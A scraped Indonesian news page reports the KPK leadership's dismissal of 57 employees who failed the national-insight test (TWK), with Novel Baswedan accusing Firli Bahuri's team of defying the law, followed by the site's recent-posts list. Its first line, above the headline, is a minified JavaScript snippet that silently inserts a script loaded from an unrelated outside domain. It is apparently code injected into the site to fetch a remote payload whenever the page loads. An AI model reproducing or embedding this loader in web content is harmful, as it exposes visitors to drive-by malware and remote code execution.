(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

57 Pegawai KPK Dipecat, Novel: Firli Cs Tunjukkan Keberanian Melawan Hukum


KANALKALIMANTAN.COM, JAKARTA – Penyidik Komisi Pemberantasan Korupsi (KPK) nonaktif Novel Baswedan tak bisa menyembuyikan kesedihannya atas keputusan pimpinan KPK yang dikomandoi Firli Bahuri Cs dengan mengeluarkan Surat keputusan memecat 57 pegawai yang tidak lulus Tes Wawasan Kebangsaan (TWK) pertanggal 30 September 2021.

“Saya lebih dari 20 tahun sebagai penegak hukum sedih. Coba kami bisa bayangkan. KPK bukan milik pimpinan KPK saja, tapi milik rakyat Indonesia, ketika KPK dipimpin oleh orang yang berani melanggar hukum yang berani menantang hukum. Saya bisa menduga setidak-tidaknya berani di atas pemerintah ini suatu hal yang luar biasa,” kata Novel di depan Gedung KPK Lama, Kuningan, Jakarta Selatan, Rabu (15/9/2021).

Maka itu, Novel menilai bahwa sikap pimpinan KPK yang memberhentikan 57 pegawai adalah suatu tindakan sangat luar biasa. KPK sama sekali tidak melihat adanya proses yang janggal dalam proses TWK.

Dimana Ombudsman RI telah menyatakan adanya maladministrasi dalam proses TWK. Ditambah temuan 11 pelanggaran Hak Asasi Manusia oleh Komnas HAM yang kini tengah direkomendasikan ke Presiden Joko Widodo.

 

Baca juga : Giliran Relawan Buser 690 Banjar Menyusul ke Katingan

Meskipun, kata Novel, Mahkamah Agung (MA) dan Mahkamah Konstitusi (MK) telah menolak gugatan terkait TWK. Namun, apa yang diputuskan oleh MK dan MA hanya sebatas norma.

“Jadi saya kira permasalahan ini menunjukkan satu di antaranya pimpinan KPK menunjukkan seperti berani melawan hukum,” ujarnya.

“Bagaimana mungkin ada penegak hukum yang bisa kita harapkan, ketika yangbersangkutan adalah orang-orang yang berani melawan hukum, itu kesedihan yang luar biasa. Kami adalah orang-orang yang memilih jalan untuk berjuang di KPK, jalan untuk memberantas korupsi dengan sungguh-sungguh, masalah korupsi masalah yang serius, penting dan sensitif,” tambah Novel.

Novel menyebut bersama pegawai KPK nonaktif lainnya telah menyadari bahwa memberantas korupsi memiliki tugas yang berat. Tapi, semua itu pilihan para pegawai KPK yang disingkirkan untuk memilih jalan tersebut untuk Indonesia terbebas dari korupsi.

 

Baca juga : Pemuda Pancasila Banjarbaru Antar Paket Sembako ke Cempaka

“Kami akan selalu sampaikan bahwa setiap langkah yang kami lakukan, kami sadar dengan segala risikonya dan kami akan berbuat sebaik-baiknya,” tuturnya.

Novel menyebut penyingkiran 57 pegawai KPK yang tidak lulus TWK akan menjadi catatan sejarah. Menurut Novel mereka sudah mengabdi kepada negara untuk melakukan pemberantasan korupsi.

“Setidaknya sejarah akan mencatat kami berbuat baik. Kalaupun ternyata, negara memilih atau pimpinan KPK dibiarkan untuk tidak dikoreksi prilakunya melanggar hukum, masalahnya bukan karena kami. Tapi kami berupaya memberantas korupsi yang sungguh-sungguh ternyata justru kami yang diberantas. Tentu ini kesedihan yang serius saya kira ini juga dirasakan seluruh rakyat Indonesia,” imbuhnya.

Sebelumnya, KPK resmi mengumumkan memberhentikan 57 pegawai KPK tak lulus dalam TWK dengan hormat pada 30 September 2021.

 

Baca juga : Simpan Ribuan Obat Carnophen di Kos-kosan, Amet Ditangkap Sat Resnarkoba Banjarbaru

Adapun sebanyak enam pegawai KPK yang sempat diberi kesempatan untuk ikut pelatihan bela negara akan pula diberhentikan bersama 51 pegawai KPK yang dinyatakan telah memiliki rapor merah karena tidak lulus TWK.

“Terhadap 6 orang pegawai KPK yang dinyatakan tidak memenuhi syarat dan diberi kesempatan mengikuti pendidikan dan pelatihan bela negara serta wawasan kebangsaan, namun tidak mengikutinya. Maka tidak bisa diangkat menjadi aparatur sipil negara dan akan diberhentikan dengan hormat per tanggal 30 september 2021,” kata Wakil Ketua KPK Alexander Marwata di Gedung Merah Putih KPK, Kuningan, jakarta Selatan, Rabu.

“Memberhentikan dengan hormat kepada 51 orang pegawai kpk yang dinyatakan tidak memenuhi syarat per tanggal 30 September 2021,” tambahnya.

Pengumuman pemberhentian 57 pegawai ini dipercepat oleh KPK. Sepatutnya para pegawai KPK yang tidak lulus TWK akan selesai masa baktinya sebagai pegawai KPK pada 1 November 2021. (Suara.com)

Editor : kk


Desy Arfianty

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

12 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

12 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

12 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

16 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

16 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

18 jam ago

This website uses cookies.